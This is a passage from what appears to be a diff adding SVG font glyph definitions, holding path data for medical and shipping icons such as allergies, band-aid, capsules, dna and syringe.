-125.6 164.601 -233.399c0 -2 -0.299805 -4 -0.299805 -6c-28.0381 -9.1709 -57.998 -14.2012 -89.083 -14.2012c-0.206055 0 -0.412109 0 -0.617188 0.000976562 +c7.89941 92.3994 -19.2998 183.2 -74.6006 253.6z" /> + <glyph glyph-name="allergies" unicode="" horiz-adv-x="448" +d="M416 336c17.5996 0 32 -14.4004 32 -32v-176.1c-0.200195 -14 -1.90039 -28.6006 -5.09961 -42.3008l-26.5 -112.699c-5.10059 -21.7002 -24.4004 -37 -46.7002 -37h-197.601c-15.2998 0 -29.7998 7.39941 -38.7998 19.7998l-125.6 172.7 +c-13 17.8994 -9.10059 42.8994 8.7998 55.8994s42.9004 9.10059 55.9004 -8.7998l23.5996 -32.5v241c0 17.5996 14.4004 32 32 32s32 -14.4004 32 -32v-152c0 -4.40039 3.59961 -8 8 -8h16c4.40039 0 8 3.59961 8 8v184c0 17.5996 14.4004 32 32 32s32 -14.4004 32 -32v-184 +c0 -4.40039 3.59961 -8 8 -8h16c4.40039 0 8 3.59961 8 8v152c0 17.5996 14.4004 32 32 32s32 -14.4004 32 -32v-152c0 -4.40039 3.59961 -8 8 -8h16c4.40039 0 8 3.59961 8 8v72c0 17.5996 14.4004 32 32 32zM176 32c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16 +s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM176 128c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM240 0c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM240 96c8.7998 0 16 7.2002 16 16 +s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM304 64c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM336 0c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM368 128 +c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16z" /> + <glyph glyph-name="band-aid" unicode="" horiz-adv-x="640" +d="M0 288c0 35.2998 28.7002 64 64 64h96v-320h-96c-35.2998 0 -64 28.7002 -64 64v192zM576 352c35.2998 0 64 -28.7002 64 -64v-192c0 -35.2998 -28.7002 -64 -64 -64h-96v320h96zM192 32v320h256v-320h-256zM368 264c-13.2998 0 -24 -10.7002 -24 -24s10.7002 -24 24 -24 +s24 10.7002 24 24s-10.7002 24 -24 24zM368 168c-13.2998 0 -24 -10.7002 -24 -24s10.7002 -24 24 -24s24 10.7002 24 24s-10.7002 24 -24 24zM272 264c-13.2998 0 -24 -10.7002 -24 -24s10.7002 -24 24 -24s24 10.7002 24 24s-10.7002 24 -24 24zM272 168 +c-13.2998 0 -24 -10.7002 -24 -24s10.7002 -24 24 -24s24 10.7002 24 24s-10.7002 24 -24 24z" /> + <glyph glyph-name="box" unicode="" +d="M509.5 263.4c0.799805 -2.40039 0.799805 -4.90039 1.2002 -7.40039h-238.7v192h141.4c20.6992 0 39 -13.2002 45.5 -32.7998zM240 448v-192h-238.7c0.400391 2.5 0.400391 5 1.2002 7.40039l50.5996 151.8c6.5 19.5996 24.8008 32.7998 45.5 32.7998h141.4zM0 224h512 +v-240c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v240z" /> + <glyph glyph-name="boxes" unicode="" horiz-adv-x="576" +d="M560 160c8.7998 0 16 -7.2002 16 -16v-192c0 -8.7998 -7.2002 -16 -16 -16h-224c-8.7998 0 -16 7.2002 -16 16v192c0 8.7998 7.2002 16 16 16h80v-96l32 21.2998l32 -21.2998v96h80zM176 224c-8.7998 0 -16 7.2002 -16 16v192c0 8.7998 7.2002 16 16 16h80v-96 +l32 21.2998l32 -21.2998v96h80c8.7998 0 16 -7.2002 16 -16v-192c0 -8.7998 -7.2002 -16 -16 -16h-224zM240 160c8.7998 0 16 -7.2002 16 -16v-192c0 -8.7998 -7.2002 -16 -16 -16h-224c-8.7998 0 -16 7.2002 -16 16v192c0 8.7998 7.2002 16 16 16h80v-96l32 21.2998 +l32 -21.2998v96h80z" /> + <glyph glyph-name="briefcase-medical" unicode="" +d="M464 320c26.5 0 48 -21.5 48 -48v-288c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v288c0 26.5 21.5 48 48 48h80v48c0 26.5 21.5 48 48 48h160c26.5 0 48 -21.5 48 -48v-48h80zM192 352v-32h128v32h-128zM352 104v48c0 4.40039 -3.59961 8 -8 8h-56v56 +c0 4.40039 -3.59961 8 -8 8h-48c-4.40039 0 -8 -3.59961 -8 -8v-56h-56c-4.40039 0 -8 -3.59961 -8 -8v-48c0 -4.40039 3.59961 -8 8 -8h56v-56c0 -4.40039 3.59961 -8 8 -8h48c4.40039 0 8 3.59961 8 8v56h56c4.40039 0 8 3.59961 8 8z" /> + <glyph glyph-name="burn" unicode="" horiz-adv-x="384" +d="M192 448c111.8 -100.9 192 -220.6 192 -300.5c0 -124.5 -79 -211.5 -192 -211.5s-192 87 -192 211.5c0 79.5996 79.7002 199.2 192 300.5zM192 0c56.5 0 96 39 96 94.7998c0 13.5 -4.59961 61.5 -96 161.2c-91.4004 -99.7002 -96 -147.7 -96 -161.2 +c0 -55.7998 39.5 -94.7998 96 -94.7998z" /> + <glyph glyph-name="capsules" unicode="" horiz-adv-x="576" +d="M555.3 147.9c36.2002 -51.7002 23.7002 -123 -28 -159.2c-20 -14 -42.7998 -20.7002 -65.5 -20.7002c-36.0996 0 -71.5996 17 -93.7998 48.7998l-131.2 187.3c-5.5 7.90039 -9.5 16.4004 -12.7998 25v-149.1c0 -61.9004 -50.0996 -112 -112 -112s-112 50.0996 -112 112 +v224c0 61.9004 50.0996 112 112 112c60 0 108.5 -47.2002 111.4 -106.5c7.7998 21 21.7998 40 41.5 53.7998c20 14 42.8994 20.7002 65.5 20.7002c36 0 71.5 -17 93.7998 -48.7998zM160 192v112c0 26.5 -21.5 48 -48 48s-48 -21.5 -48 -48v-112h96zM354.8 147.1 +l82.5 57.7002l-65.5996 93.7002c-9.40039 13.5 -24.7998 21.5 -41.2998 21.5c-10.3008 0 -20.3008 -3.09961 -28.8008 -9.09961c-11 -7.7002 -18.3994 -19.3008 -20.6992 -32.5c-2.40039 -13.2002 0.599609 -26.6006 8.2998 -37.6006z" /> + <glyph glyph-name="clipboard-check" unicode="" horiz-adv-x="384" +d="M336 384c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h80c0 35.2998 28.7002 64 64 64s64 -28.7002 64 -64h80zM192 408c-13.2998 0 -24 -10.7002 -24 -24s10.7002 -24 24 -24s24 10.7002 24 24 +s-10.7002 24 -24 24zM313.2 176.2c4.7002 4.7002 4.7998 12.2002 0.0996094 17l-28.2002 28.3994c-4.69922 4.7002 -12.2998 4.80078 -17 0.100586l-106 -105.2l-46 46.4004c-4.69922 4.69922 -12.2998 4.7998 -17 0.0996094l-28.3994 -28.2002 +c-4.7002 -4.7002 -4.7998 -12.2998 -0.100586 -17l82.6006 -83.2998c4.7002 -4.7002 12.2998 -4.7998 17 -0.0996094z" /> + <glyph glyph-name="clipboard-list" unicode="" horiz-adv-x="384" +d="M336 384c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h80c0 35.2998 28.7002 64 64 64s64 -28.7002 64 -64h80zM96 24c13.2998 0 24 10.7002 24 24s-10.7002 24 -24 24s-24 -10.7002 -24 -24 +s10.7002 -24 24 -24zM96 120c13.2998 0 24 10.7002 24 24s-10.7002 24 -24 24s-24 -10.7002 -24 -24s10.7002 -24 24 -24zM96 216c13.2998 0 24 10.7002 24 24s-10.7002 24 -24 24s-24 -10.7002 -24 -24s10.7002 -24 24 -24zM192 408c-13.2998 0 -24 -10.7002 -24 -24 +s10.7002 -24 24 -24s24 10.7002 24 24s-10.7002 24 -24 24zM320 40v16c0 4.40039 -3.59961 8 -8 8h-144c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h144c4.40039 0 8 3.59961 8 8zM320 136v16c0 4.40039 -3.59961 8 -8 8h-144 +c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h144c4.40039 0 8 3.59961 8 8zM320 232v16c0 4.40039 -3.59961 8 -8 8h-144c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h144c4.40039 0 8 3.59961 8 8z" /> + <glyph glyph-name="diagnoses" unicode="" horiz-adv-x="640" +d="M496 192c-8.7998 0 -16 7.2002 -16 16s7.2002 16 16 16s16 -7.2002 16 -16s-7.2002 -16 -16 -16zM320 272c-48.5 0 -88 39.5 -88 88s39.5 88 88 88s88 -39.5 88 -88s-39.5 -88 -88 -88zM59.7998 84l-17.7002 26.7002c-8.7998 13.2998 -7.59961 34.5996 10 45.0996 +c7.40039 4.40039 17.5 10 28.7002 16c31.6006 -27.2998 79 -4.2002 79.2002 36c47.0996 17.7002 103 32.2002 160 32.2002c45.0996 0 89.2998 -9.2002 129.2 -21.7998c-11.7002 -52.9004 59.5996 -81.2002 87.7002 -35.1006 +c21.3994 -10.3994 39.1992 -20.2998 51.0996 -27.3994c17.5996 -10.5 18.7998 -31.9004 10 -45.1006l-17.7998 -26.6992c-10.2002 -15.1006 -29.2998 -17.8008 -42.9004 -9.80078c-16.2002 9.60059 -56.2002 31.8008 -105.3 48.6006v-90.7002h-224v90.7998 +c-49.0996 -16.8994 -89.0996 -39 -105.3 -48.5996c-13.6006 -8 -32.7002 -5.5 -42.9004 9.7998zM368 104c-13.2998 0 -24 -10.7002 -24 -24s10.7002 -24 24 -24s24 10.7002 24 24s-10.7002 24 -24 24zM272 200c-13.2998 0 -24 -10.7002 -24 -24s10.7002 -24 24 -24 +s24 10.7002 24 24s-10.7002 24 -24 24zM112 192c-8.7998 0 -16 7.2002 -16 16s7.2002 16 16 16s16 -7.2002 16 -16s-7.2002 -16 -16 -16zM624 0c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-608c-8.7998 0 -16 7.2002 -16 16v32 +c0 8.7998 7.2002 16 16 16h608z" /> + <glyph glyph-name="dna" unicode="" horiz-adv-x="448" +d="M0.0996094 -46.0996c5.2002 42.8994 31.4004 153.899 159.9 238.1c-128.6 84.2002 -154.7 195.2 -159.9 238.1c-1.09961 9.5 6.40039 17.8008 16 17.8008l32.3008 0.0996094c8.09961 0.0996094 14.8994 -5.90039 16 -13.9004 +c0.699219 -5 1.7998 -11.0996 3.39941 -18.0996h312.4c1.59961 7 2.7002 13.2002 3.39941 18.0996c1.10059 8 7.90039 13.9004 16 13.9004l32.4004 -0.0996094c9.59961 0 17 -8.30078 15.9004 -17.8008c-5.80078 -47.8994 -37.4004 -181.199 -209.5 -266.699 +c-31.7002 -15.8008 -57.4004 -33.3008 -78.7002 -51.4004h127.6c-5.59961 4.7998 -10.7998 9.59961 -17 14.2002c21.4004 11.2002 40.9004 23 58.5 35.3994c93.2998 -78.6992 114.3 -169.8 118.9 -207.699c1.2002 -9.5 -6.2998 -17.8008 -15.9004 -17.8008 +l-32.2998 -0.0996094c-8.09961 -0.0996094 -14.9004 5.90039 -16 13.9004c-0.599609 4.89941 -1.90039 11.1992 -3.5 18.0996h-312.3c-1.60059 -7 -2.7002 -13.2002 -3.40039 -18.0996c-1.09961 -8 -7.89941 -13.9004 -16 -13.9004l-32.2998 0.0996094 +c-9.59961 0 -17 8.30078 -15.9004 17.8008zM224 228.4c25.0996 13.5996 46.4004 28.3994 64.2002 43.5996h-128.5c17.8994 -15.2002 39.2002 -29.9004 64.2998 -43.5996zM355.1 352h-262.1c5.7002 -10.4004 12.7002 -21.0996 21 -32h220.1 +c8.2002 10.9004 15.2002 21.5996 21 32zM92.9004 32h261.6c-5.7998 10.4004 -12.9004 21.0996 -21.2002 32h-219.399c-8.2002 -10.9004 -15.2002 -21.5996 -21 -32z" /> + <glyph glyph-name="dolly" unicode="" horiz-adv-x="576" +d="M294.2 170.3l-53 159.4c-2.7998 8.2998 1.7002 17.3994 10.0996 20.2002l61.6006 20.5l33.0996 -99.4004l60.7002 20.0996l-33.1006 99.4004l61.1006 20.4004c8.2998 2.7998 17.3994 -1.7002 20.2002 -10.1006l60.3994 -181.2 +c2.7998 -8.2998 -1.7002 -17.3994 -10.0996 -20.1992l-161.5 -53.8008c-14.7998 11.3008 -31.5 19.7002 -49.5 24.7002zM575.2 121.6c2.7998 -8.39941 -1.7998 -17.3994 -10.1006 -20.1992l-213.3 -71.2002c-1.09961 -57.7998 -53.2002 -103.3 -113.399 -92.6006 +c-39.4004 6.90039 -71.2002 39.8008 -77.3008 79.2002c-5.69922 36.9004 9.90039 70.1006 36 90.5l-92.1992 276.7h-88.9004c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h112c13.7998 0 26 -8.7998 30.4004 -21.9004l99.3994 -298.199 +c29.9004 -0.600586 56.2998 -15 73.5 -37l213.5 71.1992c8.2998 2.80078 17.4004 -1.69922 20.2002 -10.0996zM256 -16c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48z" /> + <glyph glyph-name="dolly-flatbed" unicode="" horiz-adv-x="640" +d="M208 128c-8.7998 0 -16 7.2002 -16 16v256c0 8.7998 7.2002 16 16 16h144v-128l48 32l48 -32v128h144c8.7998 0 16 -7.2002 16 -16v-256c0 -8.7998 -7.2002 -16 -16 -16h-384zM624 64c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-82.7998 +c1.7002 -5 2.89941 -10.4004 2.89941 -16c0 -26.5 -21.5 -48 -48 -48s-48 21.5 -48 48c0 5.59961 1.10059 11 2.90039 16h-197.9c1.7002 -5 2.90039 -10.4004 2.90039 -16c0 -26.5 -21.5 -48 -48 -48s-48 21.5 -48 48c0 5.59961 1.09961 11 2.90039 16h-82.9004 +c-8.7998 0 -16 7.2002 -16 16v368h-48c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h96c8.7998 0 16 -7.2002 16 -16v-368h496z" /> + <glyph glyph-name="file-medical" unicode="" horiz-adv-x="384" +d="M377 343c4.5 -4.5 7 -10.5996 7 -16.9004v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7zM224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136z +M288 152c0 4.40039 -3.59961 8 -8 8h-56v56c0 4.40039 -3.59961 8 -8 8h-48c-4.40039 0 -8 -3.59961 -8 -8v-56h-56c-4.40039 0 -8 -3.59961 -8 -8v-48c0 -4.40039 3.59961 -8 8 -8h56v-56c0 -4.40039 3.59961 -8 8 -8h48c4.40039 0 8 3.59961 8 8v56h56 +c4.40039 0 8 3.59961 8 8v48z" /> + <glyph glyph-name="file-medical-alt" unicode="" horiz-adv-x="448" +d="M288 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v168h70.0996l34.8008 -69.5c2.89941 -5.90039 11.3994 -5.90039 14.2998 0l56.7998 113.7l22.0996 -44.2002h89.9004c8.7998 0 16 7.2002 16 16 +s-7.2002 16 -16 16h-70.2002l-34.7002 69.5c-2.89941 5.90039 -11.3994 5.90039 -14.2998 0l-56.7998 -113.7l-19.9004 39.7998c-1.39941 2.7002 -4.19922 4.40039 -7.19922 4.40039h-140.9c-4.40039 0 -8 3.59961 -8 8v16c0 4.40039 3.59961 8 8 8h56v232 +c0 13.2998 10.7002 24 24 24h200v-136zM441 343c4.5 -4.5 7 -10.5996 7 -16.9004v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7z" /> + <glyph glyph-name="first-aid" unicode="" horiz-adv-x="576" +d="M0 368c0 26.5 21.5 48 48 48h48v-448h-48c-26.5 0 -48 21.5 -48 48v352zM128 -32v448h320v-448h-320zM192 216v-48c0 -4.40039 3.59961 -8 8 -8h56v-56c0 -4.40039 3.59961 -8 8 -8h48c4.40039 0 8 3.59961 8 8v56h56c4.40039 0 8 3.59961 8 8v48 +c0 4.40039 -3.59961 8 -8 8h-56v56c0 4.40039 -3.59961 8 -8 8h-48c-4.40039 0 -8 -3.59961 -8 -8v-56h-56c-4.40039 0 -8 -3.59961 -8 -8zM528 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-48v448h48z" /> + <glyph glyph-name="hospital-alt" unicode="" horiz-adv-x="576" +d="M544 352c17.7002 0 32 -14.2998 32 -32v-368c0 -8.7998 -7.2002 -16 -16 -16h-544c-8.7998 0 -16 7.2002 -16 16v368c0 17.7002 14.2998 32 32 32h128v64c0 17.7002 14.2998 32 32 32h192c17.7002 0 32 -14.2998 32 -32v-64h128zM160 12v40c0 6.59961 -5.40039 12 -12 12 +h-40c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12zM160 140v40c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12zM320 12v40 +c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12zM320 140v40c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h40 +c6.59961 0 12 5.40039 12 12zM336 310v20c0 3.2998 -2.7002 6 -6 6h-26v26c0 3.2998 -2.7002 6 -6 6h-20c-3.2998 0 -6 -2.7002 -6 -6v-26h-26c-3.2998 0 -6 -2.7002 -6 -6v-20c0 -3.2998 2.7002 -6 6 -6h26v-26c0 -3.2998 2.7002 -6 6 -6h20c3.2998 0 6 2.7002 6 6v26h26 +c3.2998 0 6 2.7002 6 6zM480 12v40c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12zM480 140v40c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-40 +c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12z" /> + <glyph glyph-name="hospital-symbol" unicode="" +d="M256 448c141.4 0 256 -114.6 256 -256s-114.6 -256 -256 -256s-256 114.6 -256 256s114.6 256 256 256zM368 72v240c0 4.40039 -3.59961 8 -8 8h-48c-4.40039 0 -8 -3.59961 -8 -8v-88h-96v88c0 4.40039 -3.59961 8 -8 8h-48c-4.40039 0 -8 -3.59961 -8 -8v-240 +c0 -4.40039 3.59961 -8 8 -8h48c4.40039 0 8 3.59961 8 8v88h96v-88c0 -4.40039 3.59961 -8 8 -8h48c4.40039 0 8 3.59961 8 8z" /> + <glyph glyph-name="id-card-alt" unicode="" horiz-adv-x="576" +d="M528 384c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h144v-96h192v96h144zM288 224c-35.2998 0 -64 -28.7002 -64 -64s28.7002 -64 64 -64s64 28.7002 64 64s-28.7002 64 -64 64zM381.3 0 +c10.4004 0 18.7998 10 15.6006 19.7998c-8.40039 25.7002 -32.5 44.2002 -60.9004 44.2002h-8.2002c-12.2002 -5.09961 -25.7002 -8 -39.7998 -8s-27.5 2.90039 -39.7998 8h-8.2002c-28.5 0 -52.5996 -18.5996 -60.9004 -44.2002 +c-3.19922 -9.7998 5.2002 -19.7998 15.6006 -19.7998h186.6zM352 416v-96h-128v96c0 17.7002 14.2998 32 32 32h64c17.7002 0 32 -14.2998 32 -32z" /> + <glyph glyph-name="notes-medical" unicode="" horiz-adv-x="384" +d="M336 384c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h80c0 35.2998 28.7002 64 64 64s64 -28.7002 64 -64h80zM192 408c-13.2998 0 -24 -10.7002 -24 -24s10.7002 -24 24 -24s24 10.7002 24 24 +s-10.7002 24 -24 24zM288 104v48c0 4.40039 -3.59961 8 -8 8h-56v56c0 4.40039 -3.59961 8 -8 8h-48c-4.40039 0 -8 -3.59961 -8 -8v-56h-56c-4.40039 0 -8 -3.59961 -8 -8v-48c0 -4.40039 3.59961 -8 8 -8h56v-56c0 -4.40039 3.59961 -8 8 -8h48c4.40039 0 8 3.59961 8 8 +v56h56c4.40039 0 8 3.59961 8 8zM288 296v16c0 4.40039 -3.59961 8 -8 8h-176c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h176c4.40039 0 8 3.59961 8 8z" /> + <glyph glyph-name="pallet" unicode="" horiz-adv-x="640" +d="M144 192c-8.7998 0 -16 7.2002 -16 16v224c0 8.7998 7.2002 16 16 16h112v-128l64 32l64 -32v128h112c8.7998 0 16 -7.2002 16 -16v-224c0 -8.7998 -7.2002 -16 -16 -16h-352zM624 64h-48v-64h48c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-608 +c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h48v64h-48c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h608c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16zM288 0v64h-160v-64h160zM512 0v64h-160v-64h160z" /> + <glyph glyph-name="pills" unicode="" horiz-adv-x="576" +d="M112 416c61.9004 0 112 -50.0996 112 -112v-224c0 -61.9004 -50.0996 -112 -112 -112s-112 50.0996 -112 112v224c0 61.9004 50.0996 112 112 112zM160 192v112c0 26.5 -21.5 48 -48 48s-48 -21.5 -48 -48v-112h96zM299.7 221.7l210.8 -210.8 +c3.5 -3.5 3.2002 -9.40039 -0.799805 -12.3008c-62.5 -45.2998 -150.101 -40.3994 -206.4 15.9004s-61.2002 143.9 -15.8994 206.4c2.89941 3.89941 8.7998 4.2998 12.2998 0.799805zM529.5 240.7c56.4004 -56.2998 61.2002 -143.8 15.9004 -206.4 +c-2.90039 -3.89941 -8.80078 -4.2998 -12.3008 -0.799805l-210.8 210.8c-3.5 3.5 -3.2002 9.40039 0.799805 12.2998c62.5 45.3008 150.101 40.4004 206.4 -15.8994z" /> + <glyph glyph-name="prescription-bottle" unicode="" horiz-adv-x="384" +d="M32 256v64h320v-352c0 -17.5996 -14.4004 -32 -32 -32h-256c-17.5996 0 -32 14.4004 -32 32v64h120c4.40039 0 8 3.59961 8 8v16c0 4.40039 -3.59961 8 -8 8h-120v64h120c4.40039 0 8 3.59961 8 8v16c0 4.40039 -3.59961 8 -8 8h-120v64h120c4.40039 0 8 3.59961 8 8v16 +c0 4.40039 -3.59961 8 -8 8h-120zM360 448c13.2002 0 24 -10.7998 24 -24v-48c0 -13.2002 -10.7998 -24 -24 -24h-336c-13.2002 0 -24 10.7998 -24 24v48c0 13.2002 10.7998 24 24 24h336z" /> + <glyph glyph-name="prescription-bottle-alt" unicode="" horiz-adv-x="384" +d="M360 448c13.2002 0 24 -10.7998 24 -24v-48c0 -13.2002 -10.7998 -24 -24 -24h-336c-13.2002 0 -24 10.7998 -24 24v48c0 13.2002 10.7998 24 24 24h336zM32 -32v352h320v-352c0 -17.5996 -14.4004 -32 -32 -32h-256c-17.5996 0 -32 14.4004 -32 32zM96 152v-48 +c0 -4.40039 3.59961 -8 8 -8h56v-56c0 -4.40039 3.59961 -8 8 -8h48c4.40039 0 8 3.59961 8 8v56h56c4.40039 0 8 3.59961 8 8v48c0 4.40039 -3.59961 8 -8 8h-56v56c0 4.40039 -3.59961 8 -8 8h-48c-4.40039 0 -8 -3.59961 -8 -8v-56h-56c-4.40039 0 -8 -3.59961 -8 -8z +" /> + <glyph glyph-name="procedures" unicode="" horiz-adv-x="640" +d="M528 224c61.9004 0 112 -50.0996 112 -112v-160c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v48h-512v-48c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v352c0 8.7998 7.2002 16 16 16h32c8.7998 0 16 -7.2002 16 -16v-240h192 +v144c0 8.7998 7.2002 16 16 16h256zM136 352c-4.40039 0 -8 3.59961 -8 8v16c0 4.40039 3.59961 8 8 8h140.9c3.09961 0 5.7998 -1.7002 7.19922 -4.40039l19.9004 -39.7998l49.7002 99.4004c5.89941 11.7998 22.7002 11.7998 28.5996 0l27.6006 -55.2002h102.1 +c8.7998 0 16 -7.2002 16 -16s-7.2002 -16 -16 -16h-121.9l-22.0996 44.2002l-49.7002 -99.4004c-5.89941 -11.7998 -22.7002 -11.7998 -28.5996 0l-27.6006 55.2002h-126.1zM160 96c-35.2998 0 -64 28.7002 -64 64s28.7002 64 64 64s64 -28.7002 64 -64 +s-28.7002 -64 -64 -64z" /> + <glyph glyph-name="shipping-fast" unicode="" horiz-adv-x="640" +d="M624 96c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-48c0 -53 -43 -96 -96 -96s-96 43 -96 96h-128c0 -53 -43 -96 -96 -96s-96 43 -96 96v128h152c4.40039 0 8 3.59961 8 8v16c0 4.40039 -3.59961 8 -8 8h-208c-4.40039 0 -8 3.59961 -8 8v16 +c0 4.40039 3.59961 8 8 8h240c4.40039 0 8 3.59961 8 8v16c0 4.40039 -3.59961 8 -8 8h-208c-4.40039 0 -8 3.59961 -8 8v16c0 4.40039 3.59961 8 8 8h240c4.40039 0 8 3.59961 8 8v16c0 4.40039 -3.59961 8 -8 8h-272c-4.40039 0 -8 3.59961 -8 8v16 +c0 4.40039 3.59961 8 8 8h56v48c0 26.5 21.5 48 48 48h256c26.5 0 48 -21.5 48 -48v-48h44.0996c12.7002 0 24.9004 -5.09961 33.9004 -14.0996l99.9004 -99.9004c9 -9 14.0996 -21.2002 14.0996 -33.9004v-108.1h16zM160 -16c26.5 0 48 21.5 48 48s-21.5 48 -48 48 +s-48 -21.5 -48 -48s21.5 -48 48 -48zM480 -16c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48zM560 192v12.0996l-99.9004 99.9004h-44.0996v-112h144z" /> + <glyph glyph-name="smoking" unicode="" horiz-adv-x="640" +d="M632 96c4.40039 0 8 -3.59961 8 -8v-144c0 -4.40039 -3.59961 -8 -8 -8h-48c-4.40039 0 -8 3.59961 -8 8v144c0 4.40039 3.59961 8 8 8h48zM553.3 360.9c54.2998 -36.4004 86.7002 -97.1006 86.7002 -162.601v-30.2998c0 -4.40039 -3.59961 -8 -8 -8h-48 +c-4.40039 0 -8 3.59961 -8 8v30.2998c0 50.2002 -25.2002 96.7002 -67.4004 124c-18.3994 12 -28.5996 33.4004 -28.5996 55.4004v62.2998c0 4.40039 3.59961 8 8 8h48c4.40039 0 8 -3.59961 8 -8v-62.2998c0 -6.7998 3.59961 -13 9.2998 -16.7998zM432 96 +c8.7998 0 16 -7.2002 16 -16v-128c0 -8.7998 -7.2002 -16 -16 -16h-384c-26.5 0 -48 21.5 -48 48v64c0 26.5 21.5 48 48 48h384zM400 -16v64h-176v-64h176zM487.7 306.4c35.2998 -24.7002 56.2998 -64.8008 56.2998 -108.101v-30.2998c0 -4.40039 -3.59961 -8 -8 -8h-48 +c-4.40039 0 -8 3.59961 -8 8v30.2998c0 27.4004 -13.2998 52.9004 -35.7002 68.6006c-35.7002 25.0996 -60.2998 63 -60.2998 106.699v66.4004c0 4.40039 3.59961 8 8 8h48c4.40039 0 8 -3.59961 8 -8v-62.2998c0 -29 15.7998 -54.7002 39.7002 -71.2998zM536 96 +c4.40039 0 8 -3.59961 8 -8v-144c0 -4.40039 -3.59961 -8 -8 -8h-48c-4.40039 0 -8 3.59961 -8 8v144c0 4.40039 3.59961 8 8 8h48z" /> + <glyph glyph-name="syringe" unicode="" +d="M201.5 273.2l64.9004 65l135.699 -135.7l-181.899 -181.9c-17.5 -17.5996 -41.5 -25.5996 -65.4004 -23l-63.5996 7.10059l-66.2998 -66.2998c-3.10059 -3.10059 -8.2002 -3.10059 -11.3008 0l-11.2998 11.2998c-3.09961 3.09961 -3.09961 8.2002 0 11.2998 +l66.4004 66.4004l-7.10059 63.5996c-2.59961 24.2998 5.7002 48.0996 23 65.4004l26.4004 26.3994l55.7998 -55.8994c3.10059 -3.10059 8.2002 -3.10059 11.2998 0l11.3008 11.2998c3.09961 3.09961 3.09961 8.2002 0 11.2998l-55.8008 55.7998l45.3008 45.2998 +l55.6992 -55.7998c3.10059 -3.09961 8.2002 -3.09961 11.3008 0l11.2998 11.2998c3.09961 3.10059 3.09961 8.2002 0 11.3008zM509.7 366.5c3.09961 -3.2002 3.09961 -8.2002 0 -11.4004l-11.2998 -11.2998c-3.10059 -3.09961 -8.2002 -3.09961 -11.3008 0l-28.2998 28.2998 +l-45.2998 -45.2998l73.5 -73.5c3.09961 -3.09961 3.09961 -8.2002 0 